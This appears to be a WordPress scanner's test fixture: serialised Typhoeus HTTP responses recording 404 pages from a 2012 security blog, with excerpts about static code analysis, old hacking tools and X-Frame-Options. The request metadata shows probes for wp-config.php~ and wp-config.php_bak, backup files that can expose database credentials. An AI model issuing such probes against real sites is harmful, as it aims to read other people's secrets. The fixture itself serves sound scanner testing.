<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
<p>X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in &lt;frame&gt; or &lt;iframe&gt; HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate <a href=\"http://en.wikipedia.org/wiki/Clickjacking\" target=\"_blank\">clickjacking</a> (UI redressing).</p>\n\
<p>The X-Frame-Options header may have three different values:</p>\n\
<p><strong>DENY</strong> &#8211; No pages are allowed to be loaded.<br/>\n\
<strong>SAMEORIGIN</strong> &#8211; Only pages from the same domain are allowed to be loaded.<br/>\n\
<strong>Allow-From http://www.example.com</strong> &#8211; Only allow frames from www.example.com.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#more-16743\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 7 April, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/#comments\">5 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/\">Wireless Man In The Middle (MITM)</a></h2>\n\
<p>This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless <a href=\"http://en.wikipedia.org/wiki/Man-in-the-middle_attack\" target=\"_blank\">Main In The Middle (MITM)</a> attack in a coffee shop using a FON+ wireless router, Karma and <a href=\"http://www.digininja.org/jasager/\" target=\"_blank\">Jasager</a>. Oh, and they&#8217;re the ones who call me an &#8216;expert&#8217;, personally, I hate the term and would never call myself one.</p>\n\
<p><iframe width=\"420\" height=\"315\" src=\"http://www.youtube.com/embed/J6Lch5fhlO4\" frameborder=\"0\" allowfullscreen></iframe></p>\n\
<p class=\"meta\">\n\
Posted on 13 February, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/wireless-man-in-the-middle-mitm/#comments\">6 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/\">Prevention of unwanted telemarketing calls</a></h2>\n\
<p>I am tired of receiving multiple telemarketing calls per day, I&#8217;m tired of the <a href=\"http://www.tpsonline.org.uk/tps/index.html\" target=\"_blank\">Telephone Preference Service (TPS)</a> not having an affect and I&#8217;m tired of telecommunication companies charging for prevention features which should be free.</p>\n\
<p>I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.</p>\n\
<blockquote><p>e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.</p></blockquote>\n\
<p>You can help by signing the petition here;<br/>\n\
<a href=\"http://epetitions.direct.gov.uk/petitions/17324\" target=\"_blank\">http://epetitions.direct.gov.uk/petitions/17324</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 January, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/general/prevention-of-unwanted-telemarketing-calls/#comments\">No Comments</a>\n\
</p>\n\
</div>\n \n\
<div id=\"morePrev\">\n\
<span id=\"prev\"></span>\n\
<span id=\"more\"><a href=\"http://www.ethicalhack3r.co.uk/wp-config.php~/page/2/\">Next Page &raquo;</a></span>\n\
<br style=\"clear:both;\"/>\n\
</div>\n\
</div>\n \n\
<ul id=\"sidebar\">\n\
<li class=\"sidebarItem\" id=\"search\">\n\
<form method=\"get\" id=\"searchform\" action=\"http://www.ethicalhack3r.co.uk\">\n\
<input type=\"text\" name=\"s\" id=\"s\" value=\"\"/>\n\
<input type=\"submit\" value=\"\" id=\"searchSubmit\"/>\n\
</form> </li> \n\
<div class=\"topLine\"></div>\n\
<li id=\"twitter-3\" class=\"widget widget_twitter\"><div><h2 class=\"widgettitle\"><span class='twitterwidget twitterwidget-title'>My Twitter</span></h2>\n\
<ul><li><span class='entry-content'>The <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a> injects modified BEeF hook into '1337bin.com' to hook Anon members. (reference: <a href=\"http://twitter.com/th3j35t3r\" class=\"twitter-user\" target=\"_blank\">@th3j35t3r</a>'s timeline)</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222099417115799552\" target=\"_blank\">about 9 hours ago</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/MarcDJay\" class=\"twitter-user\" target=\"_blank\">@MarcDJay</a> I'd be happy with 7Mb right now :) current ISP is 2Mb down/100Kb up, new ISP promises 5Mb down/1Mb up.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222073498124816384\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/MarcDJay/statuses/222061035761311746\" class=\"reply-to\" target=\"_blank\">in reply to MarcDJay</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a> not sure if he wants RTing as he's 'protected' ;) it was just a joke about them not having a particular kind of list :) //@ydoow</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222066853927845888\" target=\"_blank\">about 11 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/runasand/statuses/\" class=\"reply-to\" target=\"_blank\">in reply to runasand</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/masontech\" class=\"twitter-user\" target=\"_blank\">@masontech</a> ouch! that's worse than mine! my current upload speed is unbearable so should have a new ISP in the next few days.</span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222060465658929152\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/masontech/statuses/222059324837597184\" class=\"reply-to\" target=\"_blank\">in reply to masontech</a></span></span></li><li><span class='entry-content'><a href=\"http://twitter.com/ydoow\" class=\"twitter-user\" target=\"_blank\">@ydoow</a> lol this is true! :) // <a href=\"http://twitter.com/runasand\" class=\"twitter-user\" target=\"_blank\">@runasand</a></span> <span class='entry-meta'><span class='time-meta'><a href=\"http://twitter.com/ethicalhack3r/statuses/222058327599886337\" target=\"_blank\">about 12 hours ago</a></span> <span class=\"in-reply-to-meta\"><a href=\"http://twitter.com/ydoow/statuses/222057898560327681\" class=\"reply-to\" target=\"_blank\">in reply to ydoow</a></span></span></li></ul></div></li>\n\
<li id=\"categories-3\" class=\"widget widget_categories\"><h2 class=\"widgettitle\">Categories</h2>\n\
<ul>\n\
<li class=\"cat-item cat-item-10\"><a href=\"http://www.ethicalhack3r.co.uk/category/advisories/\" title=\"View all posts filed under Advisories\">Advisories</a>\n\
</li>\n\
<li class=\"cat-item cat-item-12\"><a href=\"http://www.ethicalhack3r.co.uk/category/espanol/\" title=\"View all posts filed under Espa\xC3\xB1ol\">Espa\xC3\xB1ol</a>\n\
</li>\n\
<li class=\"cat-item cat-item-11\"><a href=\"http://www.ethicalhack3r.co.uk/category/general/\" title=\"View all posts filed under General\">General</a>\n\
</li>\n\
<li class=\"cat-item cat-item-9\"><a href=\"http://www.ethicalhack3r.co.uk/category/interviews/\" title=\"View all posts filed under Interviews\">Interviews</a>\n\
</li>\n\
<li class=\"cat-item cat-item-3\"><a href=\"http://www.ethicalhack3r.co.uk/category/security/\" title=\"View all posts filed under Security\">Security</a>\n\
</li>\n\
<li class=\"cat-item cat-item-8\"><a href=\"http://www.ethicalhack3r.co.uk/category/toolz/\" title=\"View all posts filed under Toolz\">Toolz</a>\n\
</li>\n\
</ul>\n\
</li>\n\
<li id=\"recent-comments-3\" class=\"widget widget_recent_comments\"><h2 class=\"widgettitle\">Recent Comments</h2>\n\
<ul id=\"recentcomments\"><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278788\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">typhoon on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278785\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\">Hi on <a href=\"http://www.ethicalhack3r.co.uk/security/setting-up-tor-on-backtrack/comment-page-1/#comment-278488\">Setting up Tor on BackTrack</a></li><li class=\"recentcomments\">ethicalhack3r on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278341\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li><li class=\"recentcomments\"><a href='http://www.findthisend.com' rel='external nofollow' class='url'>Chic</a> on <a href=\"http://www.ethicalhack3r.co.uk/security/wordpress-in-the-wild-and-wpscan-update/comment-page-1/#comment-278315\">WordPress &#8216;In the Wild&#8217; and WPScan Update</a></li></ul></li>\n\
<li id=\"archives-2\" class=\"widget widget_archive\"><h2 class=\"widgettitle\">Archives</h2>\n\
<ul>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/05/' title='May 2012'>May 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/04/' title='April 2012'>April 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/02/' title='February 2012'>February 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2012/01/' title='January 2012'>January 2012</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/12/' title='December 2011'>December 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/11/' title='November 2011'>November 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/10/' title='October 2011'>October 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/09/' title='September 2011'>September 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/07/' title='July 2011'>July 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/06/' title='June 2011'>June 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/04/' title='April 2011'>April 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/02/' title='February 2011'>February 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2011/01/' title='January 2011'>January 2011</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/11/' title='November 2010'>November 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/09/' title='September 2010'>September 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/08/' title='August 2010'>August 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/07/' title='July 2010'>July 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/06/' title='June 2010'>June 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/05/' title='May 2010'>May 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/04/' title='April 2010'>April 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/03/' title='March 2010'>March 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/02/' title='February 2010'>February 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2010/01/' title='January 2010'>January 2010</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/12/' title='December 2009'>December 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/11/' title='November 2009'>November 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/10/' title='October 2009'>October 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/09/' title='September 2009'>September 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/08/' title='August 2009'>August 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/07/' title='July 2009'>July 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/06/' title='June 2009'>June 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/05/' title='May 2009'>May 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/04/' title='April 2009'>April 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/03/' title='March 2009'>March 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/02/' title='February 2009'>February 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2009/01/' title='January 2009'>January 2009</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/12/' title='December 2008'>December 2008</a></li>\n\
<li><a href='http://www.ethicalhack3r.co.uk/2008/11/' title='November 2008'>November 2008</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"linkcat-7\" class=\"widget widget_links\"><h2 class=\"widgettitle\">Links</h2>\n\
<ul class='xoxo blogroll'>\n\
<li><a href=\"http://www.randomstorm.com/penetration-testing.php\" target=\"_blank\">Penetration Testing</a></li>\n\
<li><a href=\"http://www.dewhurstsecurity.com\" target=\"_blank\">Web Application Security Assessment</a></li>\n\
<li><a href=\"http://www.webwordcount.com\" target=\"_blank\">Website Word Count</a></li>\n\
</ul>\n\
</li>\n\
<li id=\"text-8\" class=\"widget widget_text\"> <div class=\"textwidget\"><div align=\"center\">\n\
<a href=\"http://www.bletchleypark.org.uk/content/contact/donation/support.rhtm\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/09/238614.jpg\"></a>\n\
<br/>\n\
<br/>\n\
<a href=\"http://www.eff.org/\" target=\"_blank\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2010/11/EFF-logo-trans.gif\"></a>\n\
</div></div>\n\
</li>\n\
<li id=\"text-5\" class=\"widget widget_text\"> <div class=\"textwidget\"><br/><p align=\"center\"><a href=\"http://feeds.feedburner.com/EthicalHack3r\"><img src=\"http://feeds.feedburner.com/~fc/EthicalHack3r?bg=84BEFF&amp;fg=000000&amp;anim=0\" height=\"26\" width=\"88\" style=\"border:0\" alt=\"\"/></a></p></div>\n\
</li>\n\
</ul>\n </div>\n\
<br style=\"clear:both;\"/>\n\
<div id=\"footer\">\n\
<div class=\"copyright\">Copyright &copy; 2008-2012 Ryan Dewhurst</div>\n\
</div>\n \n\
</div>\n \n\
</body>\n\
</html>"
code: 404
connect_time: 3.1e-05
curl_error_message: No error
curl_return_code: 0
effective_url: http://www.ethicalhack3r.co.uk/wp-config.php~
headers: |
HTTP/1.1 404 Not Found
Server: cloudflare-nginx
Date: Mon, 09 Jul 2012 08:15:25 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Set-Cookie: session=5kvmusulv0s0ufhg127copgop8i04sks; path=/; HttpOnly
Expires: Wed, 11 Jan 1984 05:00:00 GMT
Cache-Control: no-cache, must-revalidate, max-age=0
Pragma: no-cache
X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php
Last-Modified: Mon, 09 Jul 2012 08:15:25 GMT
Vary: Accept-Encoding
Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk
Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk
Set-Cookie: __cfduid=df3c55835c23bfe5786f7c7261b5269e71341821725; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk
http_version:
mock: false
name_lookup_time: 3.1e-05
pretransfer_time: 3.0e-05
request: !ruby/object:Typhoeus::Request
after_complete:
auth_method:
body:
cache_timeout: 600
connect_timeout:
disable_ssl_peer_verification: true
follow_location:
handled_response:
headers:
user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0
User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
max_redirects:
method: :get
on_complete: !ruby/object:Proc {}
params:
parsed_uri: !ruby/object:URI::HTTP
fragment:
host: www.ethicalhack3r.co.uk
opaque:
password:
path: /wp-config.php~
port: 80
query:
registry:
scheme: http
user:
password:
proxy:
proxy_auth_method:
proxy_password:
proxy_type:
proxy_username:
response: *id001
ssl_cacert:
ssl_capath:
ssl_cert:
ssl_cert_type:
ssl_key:
ssl_key_password:
ssl_key_type:
timeout:
url: http://www.ethicalhack3r.co.uk/wp-config.php~
user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master
username:
verbose:
requested_http_method:
requested_url:
start_time:
start_transfer_time: 0.773069
status_message:
time: 0.928828

View File

@@ -0,0 +1,310 @@
--- &id001 !ruby/object:Typhoeus::Response
app_connect_time: 2.8e-05
body: "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd\">\n\
<html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"en\">\n\
<head>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<meta name=\"generator\" content=\"WordPress 3.4\"/>\n\
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n\
<title>Nothing found for Wp-config Php_bak</title>\n\
<link rel=\"pingback\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php\"/>\n\
<link rel=\"alternate\" type=\"application/rss+xml\" title=\"RSS 2.0\" href=\"http://www.ethicalhack3r.co.uk/feed/\"/>\n\
<link rel=\"stylesheet\" type=\"text/css\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css\" media=\"all\"/>\n\
<link rel=\"shortcut icon\" href=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/favicon.ico\"/>\n\
<meta name=\"google-site-verification\" content=\"RQcfuyREDjFzzJ0eFJFnRB4PmdwDxOH0axmVIUHptJI\"/>\n\
<link rel='stylesheet' id='wp-pagenavi-css' href='http://www.ethicalhack3r.co.uk/wp-content/plugins/wp-pagenavi/pagenavi-css.css?ver=2.70' type='text/css' media='all'/>\n\
<link rel=\"EditURI\" type=\"application/rsd+xml\" title=\"RSD\" href=\"http://www.ethicalhack3r.co.uk/xmlrpc.php?rsd\"/>\n\
<link rel=\"wlwmanifest\" type=\"application/wlwmanifest+xml\" href=\"http://www.ethicalhack3r.co.uk/wp-includes/wlwmanifest.xml\"/>\n \n \n\
<style type=\"text/css\">.recentcomments a{display:inline!important;padding:0!important;margin:0!important;}</style>\n\
</head>\n\
<body><script type=\"text/javascript\">\n\
//<![CDATA[\n\
new Image().src = \"/cdn-cgi/ping?cf[location]=404&cf[js]=1\";\n\
//]]>\n\
</script>\n\
<noscript>\n\
<img src=\"/cdn-cgi/ping?cf[location]=404&cf[js]=0\" alt=\"\">\n\
</noscript>\n\
<script type=\"text/javascript\">\r\n\
\r\n var _gaq = _gaq || [];\r\n _gaq.push(['_setAccount', 'UA-3292649-2']);\r\n _gaq.push(['_trackPageview']);\r\n\
\r\n (function() {\r\n var ga = document.createElement('script'); ga.type = \r\n\
'text/javascript'; ga.async = true;\r\n ga.src = ('https:' == document.location.protocol ? 'https://ssl' : \r\n\
'http://www') + '.google-analytics.com/ga.js';\r\n var s = document.getElementsByTagName('script')[0]; \r\n\
s.parentNode.insertBefore(ga, s);\r\n })();\r\n\
\r\n\
</script>\n\
<div class=\"topLine\">\n\
</div>\n\
<div id=\"wrap\">\n\
<div id=\"header\">\n\
<h1><a href=\"http://www.ethicalhack3r.co.uk\">ethicalhack3r</a></h1>\n\
<ul id=\"menu\">\n\
<li id=\"home\" class=\"current_page_item\">\n\
<a href=\"http://www.ethicalhack3r.co.uk\"><span>Home</span>\n\
<div class=\"menuLine\">\n\
01\n\
</div> \n\
</a>\n\
</li>\n\
<li class=\"page_item page-item-2\"><a href=\"http://www.ethicalhack3r.co.uk/about/\">About</a></li>\n\
<li class=\"page_item page-item-281\"><a href=\"http://www.ethicalhack3r.co.uk/bookshelf/\">Bookshelf</a></li>\n\
<li class=\"page_item page-item-699\"><a href=\"http://www.ethicalhack3r.co.uk/files/\">Files</a></li>\n\
<li class=\"page_item page-item-275\"><a href=\"http://www.ethicalhack3r.co.uk/media/\">Media</a></li>\n\
<li id=\"rss\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/feed/\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/img/rss.png\" alt=\"rss feed\" height=\"40px\"/></a>\n\
</li>\n\
</ul>\n\
<br style=\"clear:both;\"/>\n\
</div>\n \n\
<div id=\"main\">\n\
<div id=\"primary\">\n\
<div class=\"topLine\">\n\
</div>\n\
<h2>Recent</h2>\n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/\">DevBug &#8211; PHP Static Code Analysis</a></h2>\n\
<p>My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.</p>\n\
<p>Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome <a href=\"http://sourceforge.net/projects/rips-scanner/\" target=\"_blank\">RIPS</a> Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.</p>\n\
<p>The IDE used is called <a href=\"http://codemirror.net/\" target=\"_blank\">CodeMirror</a> that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.</p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#more-16810\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 20 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/devbug-php-static-code-analysis/#comments\">4 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/\">Old School hacking</a></h2>\n\
<p>Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo&#8217;ing (Google was largely unknown) for the term &#8216;hacking&#8217;. Back then Yahoo! Chat was still around and had a chat room called the &#8216;Hackers Lounge&#8217;, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI &#8216;hacking&#8217; tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these &#8216;hacking&#8217; tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).</p>\n\
<p>Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 &#8216;hacking&#8217; tools that I and others used &#8216;back in the day&#8217;. Warning: Download links not verified.</p>\n\
<p><strong>Legion by Rhino9</strong></p>\n\
<p>Use: Windows Null Session share scanner.<br/>\n\
Released: 1999<br/>\n\
Platform: Windows<br/>\n\
Further Info: <a href=\"http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5\" target=\"_blank\">http://www.informit.com/articles/article.aspx?p=26263&#038;seqNum=5</a><br/>\n\
Download: <a href=\"http://packetstormsecurity.org/files/14711/legion.zip.html\" title=\"legion download\" target=\"_blank\">http://packetstormsecurity.org/files/14711/legion.zip.html</a></p>\n\
<p><a href=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9.gif\"><img src=\"http://www.ethicalhack3r.co.uk/wp-content/uploads/2012/05/legion_rhino9-300x229.gif\" alt=\"Legion Rhino9\" title=\"legion_rhino9\" width=\"300\" height=\"229\" class=\"alignnone size-medium wp-image-16768\"/></a></p>\n\
<p> <a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#more-16765\" class=\"more-link\">read more&#8230;</a></p>\n\
<p class=\"meta\">\n\
Posted on 9 May, 2012 by ethicalhack3r </p>\n\
<p class=\"comments\">\n\
<a href=\"http://www.ethicalhack3r.co.uk/security/old-school-hacking/#comments\">10 Comments</a>\n\
</p>\n\
</div>\n \n\
<div class=\"post-item\">\n\
<h2><a href=\"http://www.ethicalhack3r.co.uk/security/x-frame-options/\">X-Frame-Options</a></h2>\n\
<p>A colleague <a href=\"http://twitter.com/#!/securityshell/status/188594770925469697\" target=\"_blank\">tweeted</a> a link to a blog <a href=\"http://blog.whitehatsec.com/x-frame-options/\" target=\"_blank\">post</a> by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn&#8217;t really know how it was used so I decided to investigate further.</p>\n\
